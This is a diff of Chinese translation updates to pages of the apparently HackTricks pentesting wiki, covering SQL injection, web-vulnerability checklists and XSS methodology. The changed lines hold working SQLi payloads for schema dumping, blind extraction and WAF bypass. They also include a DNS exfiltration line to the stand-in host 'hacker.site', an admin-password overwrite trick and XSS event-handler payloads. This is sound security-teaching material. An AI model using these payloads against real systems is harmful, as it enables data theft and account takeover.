||||
### 提取数据库名称、表名称和列名称
|
||||
|
||||
在接下来的示例中，我们将检索所有数据库的名称、一个数据库的表名称、表的列名称：
|
||||
在接下来的示例中，我们将检索所有数据库的名称、数据库的表名称、表的列名称：
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -189,11 +189,11 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
|
||||
|
||||
## 利用隐藏的基于联合的注入
|
||||
|
||||
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
|
||||
当查询的输出可见，但基于联合的注入似乎无法实现时，这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入，需要识别后端的执行查询。
|
||||
|
||||
这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了理解这些默认表，建议查阅目标DBMS的文档。
|
||||
这可以通过使用盲注入技术以及特定于目标数据库管理系统（DBMS）的默认表来实现。为了理解这些默认表，建议查阅目标 DBMS 的文档。
|
||||
|
||||
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将一个联合查询附加到你的有效载荷中，从而利用新可访问的基于联合的注入。
|
||||
一旦提取了查询，就需要调整你的有效载荷以安全地关闭原始查询。随后，将联合查询附加到你的有效载荷中，从而利用新可访问的基于联合的注入。
|
||||
|
||||
有关更全面的见解，请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
|
||||
|
||||
@ -206,14 +206,14 @@ _在每个不同的数据库中发现这些数据的方法各不相同，但方
|
||||
```
|
||||
## 利用盲注
|
||||
|
||||
在这种情况下，您无法看到查询的结果或错误，但您可以**区分**查询何时**返回****真**或**假**响应，因为页面上的内容不同。\
|
||||
在这种情况下，您无法看到查询的结果或错误，但您可以**区分**查询**返回**的**真**或**假**响应，因为页面上的内容不同。\
|
||||
在这种情况下，您可以利用这种行为逐字符地转储数据库：
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## 利用错误盲注
|
||||
|
||||
这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生SQL错误：
|
||||
这与之前的**情况相同**，但不是区分查询的真/假响应，而是可以**区分**SQL查询中的**错误**与否（可能是因为HTTP服务器崩溃）。因此，在这种情况下，每次正确猜测字符时，您可以强制产生一个SQL错误：
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
@ -231,7 +231,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
如果**没有其他**利用方法**有效**，您可以尝试使**数据库将**信息外泄到您控制的**外部主机**。例如，通过DNS查询：
|
||||
如果**没有其他**利用方法**有效**，您可以尝试使**数据库将信息外泄**到您控制的**外部主机**。例如，通过DNS查询：
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## 自动化利用
|
||||
|
||||
查看 [SQLMap Cheatsheet](sqlmap/) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
查看 [SQLMap Cheatsheet](sqlmap/index.html) 以利用 SQLi 漏洞与 [**sqlmap**](https://github.com/sqlmapproject/sqlmap)。
|
||||
|
||||
## 技术特定信息
|
||||
|
||||
@ -249,9 +249,9 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
- [MySQL](mysql-injection/)
|
||||
- [MySQL](mysql-injection/index.html)
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
或者你会在 [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) 找到 **关于：MySQL、PostgreSQL、Oracle、MSSQL、SQLite 和 HQL 的大量技巧**。
|
||||
|
||||
@ -316,7 +316,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
#### SQL 截断攻击
|
||||
|
||||
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名和任何密码。
|
||||
如果数据库存在漏洞，并且用户名的最大字符数例如为30，而您想要冒充用户**admin**，请尝试创建一个名为：“_admin \[30个空格] a_”的用户名，以及任何密码。
|
||||
|
||||
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**，它将**截断****用户名**到**允许的最大字符数**（在这种情况下为：“_admin \[25个空格]_”），然后它将**自动删除末尾的所有空格**，在数据库中更新用户“**admin**”的**新密码**（可能会出现一些错误，但这并不意味着这没有成功）。
|
||||
|
||||
@ -334,9 +334,9 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
|
||||
`ON DUPLICATE KEY UPDATE` 子句在 MySQL 中用于指定当尝试插入一行导致 UNIQUE 索引或 PRIMARY KEY 中的重复值时，数据库应采取的操作。以下示例演示了如何利用此功能修改管理员账户的密码：
|
||||
|
||||
示例有效载荷注入：
|
||||
示例有效负载注入：
|
||||
|
||||
有效载荷可能被构造如下，其中尝试将两行插入到 `users` 表中。第一行是诱饵，第二行针对现有管理员的电子邮件，目的是更新密码：
|
||||
有效负载可能被构造如下，其中尝试将两行插入到 `users` 表中。第一行是诱饵，第二行针对现有管理员的电子邮件，目的是更新密码：
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -369,7 +369,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
使用 **hex** 和 **replace**（以及 **substr**）：
|
||||
使用 **hex** 和 **replace** (以及 **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
@ -387,11 +387,11 @@ Example:
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## WAF Bypass
|
||||
## WAF 绕过
|
||||
|
||||
[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[初始绕过来自这里](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### No spaces bypass
|
||||
### 无空格绕过
|
||||
|
||||
无空格 (%20) - 使用空白替代品进行绕过
|
||||
```sql
|
||||
@ -410,7 +410,7 @@ Example:
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### 无逗号绕过
|
||||
### No commas bypass
|
||||
|
||||
无逗号 - 使用 OFFSET、FROM 和 JOIN 绕过
|
||||
```
|
||||
@ -437,7 +437,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
### 科学计数法 WAF 绕过
|
||||
|
||||
You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
基本上，你可以以意想不到的方式使用科学计数法来绕过 WAF：
|
||||
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
|
||||
@ -7,10 +7,10 @@
|
||||
## Proxies
|
||||
|
||||
> [!NOTE]
|
||||
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**，这些代理可能被（滥）用来利用漏洞。这些漏洞需要一个脆弱的代理存在，但它们通常还需要后端的某些额外漏洞。
|
||||
> 现在的 **web** **应用程序** 通常 **使用** 某种 **中介** **代理**，这些代理可能被（滥）用来利用漏洞。这些漏洞需要一个脆弱的代理存在，但通常还需要后端的某些额外漏洞。
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
|
||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
@ -31,20 +31,20 @@
|
||||
- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](command-injection.md)
|
||||
- [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
||||
- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/)
|
||||
- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](xs-search/)
|
||||
- [ ] [**XS-Search**](xs-search/index.html)
|
||||
|
||||
一些提到的漏洞需要特殊条件，其他的只需要内容被反映。您可以找到一些有趣的多语言工具来快速测试漏洞：
|
||||
一些提到的漏洞需要特殊条件，其他的只需要内容被反映。您可以在以下位置找到一些有趣的多语言工具，以快速测试漏洞：
|
||||
|
||||
{{#ref}}
|
||||
pocs-and-polygloths-cheatsheet/
|
||||
@ -54,11 +54,11 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
如果该功能可用于在后端搜索某种数据，您可能可以（滥）用它来搜索任意数据。
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](ldap-injection.md)
|
||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](sql-injection/)
|
||||
- [ ] [**SQL Injection**](sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
@ -67,15 +67,15 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/)
|
||||
- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
根据 Web 服务器提供的 HTTP 头，某些漏洞可能存在。
|
||||
根据 Web 服务器提供的 HTTP 头，可能存在某些漏洞。
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/)
|
||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
@ -85,7 +85,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](login-bypass/)
|
||||
- [ ] [**Login Bypass**](login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](reset-password.md)
|
||||
@ -96,18 +96,18 @@ pocs-and-polygloths-cheatsheet/
|
||||
某些功能将要求 **数据以非常特定的格式进行结构化**（如语言序列化对象或 XML）。因此，更容易识别应用程序是否可能存在漏洞，因为它需要处理这种类型的数据。\
|
||||
某些 **特定功能** 也可能存在漏洞，如果使用 **特定格式的输入**（如电子邮件头注入）。
|
||||
|
||||
- [ ] [**Deserialization**](deserialization/)
|
||||
- [ ] [**Deserialization**](deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
允许上传文件的功能可能会存在多种问题。\
|
||||
允许上传文件的功能可能会面临多种问题。\
|
||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
||||
|
||||
- [ ] [**File Upload**](file-upload/)
|
||||
- [ ] [**File Upload**](file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
@ -115,7 +115,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](saml-attacks/)
|
||||
- [ ] [**SAML Attacks**](saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
@ -124,6 +124,6 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**Domain/Subdomain takeover**](domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](idor.md)
|
||||
- [ ] [**Parameter Pollution**](parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/)
|
||||
- [ ] [**Unicode Normalization vulnerability**](unicode-injection/index.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
在每次 Web Pentest 中，有 **几个隐藏和明显的地方可能存在漏洞**。本文旨在作为一个检查清单，以确认您已在所有可能的地方搜索漏洞。
|
||||
在每次 Web Pentest 中，有 **几个隐藏和明显的地方可能存在漏洞**。这篇文章旨在作为一个检查清单，以确认您是否在所有可能的地方搜索了漏洞。
|
||||
|
||||
## Proxies
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
|
||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
@ -31,20 +31,20 @@
|
||||
- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Command Injection**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](../xs-search.md)
|
||||
|
||||
一些提到的漏洞需要特殊条件，其他的只需要内容被反映。您可以在以下位置找到一些有趣的多语言工具，以快速测试漏洞：
|
||||
一些提到的漏洞需要特殊条件，其他的只需要内容被反映。您可以找到一些有趣的多语言工具来快速测试漏洞：
|
||||
|
||||
{{#ref}}
|
||||
../pocs-and-polygloths-cheatsheet/
|
||||
@ -54,11 +54,11 @@
|
||||
|
||||
如果该功能可用于在后端搜索某种数据，您可能可以（滥）用它来搜索任意数据。
|
||||
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||
- [ ] [**LDAP Injection**](../ldap-injection.md)
|
||||
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Injection**](../sql-injection/)
|
||||
- [ ] [**SQL Injection**](../sql-injection/index.html)
|
||||
- [ ] [**XPATH Injection**](../xpath-injection.md)
|
||||
|
||||
### **Forms, WebSockets and PostMsgs**
|
||||
@ -67,15 +67,15 @@
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
|
||||
- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Headers**
|
||||
|
||||
根据 Web 服务器提供的 HTTP 头，某些漏洞可能存在。
|
||||
根据 Web 服务器提供的 HTTP 头，可能存在某些漏洞。
|
||||
|
||||
- [ ] [**Clickjacking**](../clickjacking.md)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
|
||||
- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Cookies Hacking**](../hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
|
||||
|
||||
### **Bypasses**
|
||||
@ -85,7 +85,7 @@
|
||||
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
|
||||
- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
|
||||
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
|
||||
- [ ] [**Login Bypass**](../login-bypass/)
|
||||
- [ ] [**Login Bypass**](../login-bypass/index.html)
|
||||
- [ ] [**Race Condition**](../race-condition.md)
|
||||
- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
|
||||
- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
|
||||
@ -96,18 +96,18 @@
|
||||
某些功能将要求 **数据以非常特定的格式进行结构化**（如语言序列化对象或 XML）。因此，更容易识别应用程序是否可能存在漏洞，因为它需要处理这种类型的数据。\
|
||||
某些 **特定功能** 也可能存在漏洞，如果使用 **特定格式的输入**（如电子邮件头注入）。
|
||||
|
||||
- [ ] [**Deserialization**](../deserialization/)
|
||||
- [ ] [**Deserialization**](../deserialization/index.html)
|
||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||
- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
|
||||
|
||||
### Files
|
||||
|
||||
允许上传文件的功能可能会受到多种问题的影响。\
|
||||
允许上传文件的功能可能会存在多种问题。\
|
||||
生成包含用户输入的文件的功能可能会执行意外代码。\
|
||||
打开用户上传的文件或自动生成的包含用户输入的文件的用户可能会受到威胁。
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/)
|
||||
- [ ] [**File Upload**](../file-upload/index.html)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
@ -115,7 +115,7 @@
|
||||
### **External Identity Management**
|
||||
|
||||
- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/)
|
||||
- [ ] [**SAML Attacks**](../saml-attacks/index.html)
|
||||
|
||||
### **Other Helpful Vulnerabilities**
|
||||
|
||||
@ -124,6 +124,6 @@
|
||||
- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](../idor.md)
|
||||
- [ ] [**Parameter Pollution**](../parameter-pollution.md)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
|
||||
- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -11,19 +11,19 @@
|
||||
2. 你能使用支持 `javascript:` 协议的事件或属性吗？
|
||||
3. 你能绕过保护措施吗？
|
||||
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释，你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/) 吗？
|
||||
2. 在 **HTML 标签** 内：
|
||||
5. 如果你不能创建执行 JS 代码的 HTML 标签，你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗？
|
||||
2. 在 **HTML 标签内**：
|
||||
1. 你能退出到原始 HTML 上下文吗？
|
||||
2. 你能创建新的事件/属性来执行 JS 代码吗？
|
||||
3. 你被困的属性是否支持 JS 执行？
|
||||
4. 你能绕过保护措施吗？
|
||||
3. 在 **JavaScript 代码** 内：
|
||||
1. 你能逃避 `<script>` 标签吗？
|
||||
2. 你能逃避字符串并执行不同的 JS 代码吗？
|
||||
3. 在 **JavaScript 代码中**：
|
||||
1. 你能逃逸 `<script>` 标签吗？
|
||||
2. 你能逃逸字符串并执行不同的 JS 代码吗？
|
||||
3. 你的输入是否在模板字面量 \`\` 中？
|
||||
4. 你能绕过保护措施吗？
|
||||
4. Javascript **函数** 被 **执行**
|
||||
1. 你可以指明要执行的函数名称。例如： `?callback=alert(1)`
|
||||
4. 被 **执行的** Javascript **函数**：
|
||||
1. 你可以指明要执行的函数名称。例如：`?callback=alert(1)`
|
||||
4. 如果 **被使用**：
|
||||
1. 你可以利用 **DOM XSS**，注意你的输入是如何被控制的，以及你的 **受控输入是否被任何接收器使用**。
|
||||
|
||||
@ -35,31 +35,31 @@ debugging-client-side-js.md
|
||||
|
||||
## 反射值
|
||||
|
||||
为了成功利用 XSS，首先你需要找到一个 **被你控制的值并在网页中被反射**。
|
||||
为了成功利用 XSS，你需要找到的第一件事是 **一个由你控制的值在网页中被反射**。
|
||||
|
||||
- **中间反射**：如果你发现一个参数的值甚至路径在网页中被反射，你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**：如果你发现一个被你控制的值保存在服务器中，并在每次访问页面时被反射，你可以利用 **存储型 XSS**。
|
||||
- **通过 JS 访问**：如果你发现一个被你控制的值通过 JS 被访问，你可以利用 **DOM XSS**。
|
||||
- **中间反射**：如果你发现参数的值甚至路径在网页中被反射，你可以利用 **反射型 XSS**。
|
||||
- **存储并反射**：如果你发现一个由你控制的值被保存在服务器中，并且每次访问页面时都会被反射，你可以利用 **存储型 XSS**。
|
||||
- **通过 JS 访问**：如果你发现一个由你控制的值通过 JS 被访问，你可以利用 **DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
|
||||
在尝试利用 XSS 时，首先你需要知道 **你的输入被反射在哪里**。根据上下文，你将能够以不同的方式执行任意 JS 代码。
|
||||
在尝试利用 XSS 时，你需要知道的第一件事是 **你的输入被反射在哪里**。根据上下文，你将能够以不同的方式执行任意 JS 代码。
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用一些 **HTML 标签** 来执行 JS 代码：`<img , <iframe , <svg , <script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
如果你的输入在 **原始 HTML** 页面中被 **反射**，你需要利用某些 **HTML 标签** 来执行 JS 代码：`<img`、`<iframe`、`<svg`、`<script` ... 这些只是你可以使用的许多可能的 HTML 标签中的一些。\
|
||||
此外，请记住 [客户端模板注入](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
|
||||
如果你的输入在标签的属性值中被反射，你可以尝试：
|
||||
|
||||
1. **从属性和标签中逃脱**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
|
||||
2. 如果你 **可以从属性中逃脱但不能从标签中逃脱**（`>` 被编码或删除），根据标签你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法从属性中逃脱**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**，你将能够利用它。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入在 "**不可利用的标签**" 内被反射，你可以尝试 **`accesskey`** 技巧来利用这个漏洞（你需要某种社会工程来利用这一点）：**`" accesskey="x" onclick="alert(1)" x="**
|
||||
1. **逃逸属性和标签**（然后你将处于原始 HTML 中）并创建新的 HTML 标签进行利用：`"><img [...]`
|
||||
2. 如果你 **可以逃逸属性但不能逃逸标签**（`>` 被编码或删除），根据标签的不同，你可以 **创建一个事件** 来执行 JS 代码：`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你 **无法逃逸属性**（`"` 被编码或删除），那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**，你将能够进行利用。例如，如果你控制一个事件如 `onclick=`，你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`，你可以使用 `javascript:` 协议来执行任意代码：**`href="javascript:alert(1)"`**
|
||||
